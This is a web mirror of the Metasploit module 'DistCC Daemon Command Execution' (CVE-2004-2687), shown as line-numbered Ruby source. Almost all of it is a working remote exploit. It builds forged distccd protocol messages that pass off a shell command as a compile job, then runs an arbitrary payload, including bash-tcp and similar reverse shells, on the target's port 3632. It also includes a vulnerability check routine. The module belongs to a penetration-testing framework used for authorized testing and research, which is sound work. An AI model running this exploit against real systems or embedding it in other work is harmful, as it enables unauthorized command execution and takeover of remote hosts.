Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/distcc_exec.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'DistCC Daemon Command Execution',
16
'Description' => %q{
17
This module uses a documented security weakness to execute
18
arbitrary commands on any system running distccd.
19
},
20
'Author' => [ 'hdm' ],
21
'License' => MSF_LICENSE,
22
'References' => [
23
[ 'CVE', '2004-2687'],
24
[ 'OSVDB', '13378' ],
25
[ 'URL', 'http://distcc.samba.org/security.html'],
26
27
],
28
'Platform' => ['unix'],
29
'Arch' => ARCH_CMD,
30
'Privileged' => false,
31
'Payload' => {
32
'Space' => 1024,
33
'DisableNops' => true,
34
'Compat' =>
35
{
36
'PayloadType' => 'cmd cmd_bash',
37
'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',
38
}
39
},
40
'Targets' => [
41
[ 'Automatic Target', {}]
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2002-02-01',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(3632)
56
]
57
)
58
end
59
60
def check
61
r = rand_text_alphanumeric(10)
62
connect
63
sock.put(dist_cmd("sh", "-c", "echo #{r}"))
64
65
dtag = rand_text_alphanumeric(10)
66
sock.put("DOTI0000000A#{dtag}\n")
67
68
err, out = read_output
69
if out && out.index(r)
70
return Exploit::CheckCode::Vulnerable
71
end
72
73
return Exploit::CheckCode::Safe
74
end
75
76
def exploit
77
connect
78
79
distcmd = dist_cmd("sh", "-c", payload.encoded);
80
sock.put(distcmd)
81
82
dtag = rand_text_alphanumeric(10)
83
sock.put("DOTI0000000A#{dtag}\n")
84
85
err, out = read_output
86
87
(err || "").split("\n") do |line|
88
print_status("stderr: #{line}")
89
end
90
(out || "").split("\n") do |line|
91
print_status("stdout: #{line}")
92
end
93
94
handler
95
disconnect
96
end
97
98
def read_output
99
res = sock.get_once(24, 5)
100
101
if !(res and res.length == 24)
102
print_status("The remote distccd did not reply to our request")
103
disconnect
104
return
105
end
106
107
# Check STDERR
108
res = sock.get_once(4, 5)
109
res = sock.get_once(8, 5)
110
len = [res].pack("H*").unpack("N")[0]
111
112
return [nil, nil] if not len
113
114
if (len > 0)
115
err = sock.get_once(len, 5)
116
end
117
118
# Check STDOUT
119
res = sock.get_once(4, 5)
120
res = sock.get_once(8, 5)
121
len = [res].pack("H*").unpack("N")[0]
122
123
return [err, nil] if not len
124
125
if (len > 0)
126
out = sock.get_once(len, 5)
127
end
128
return [err, out]
129
end
130
131
# Generate a distccd command
132
def dist_cmd(*args)
133
# Convince distccd that this is a compile
134
args.concat(%w{# -c main.c -o main.o})
135
136
# Set distcc 'magic fairy dust' and argument count
137
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
138
139
# Set the command arguments
140
args.each do |arg|
141
res << sprintf("ARGV%.8x%s", arg.length, arg)
142
end
143
144
return res
145
end
146
end
147
148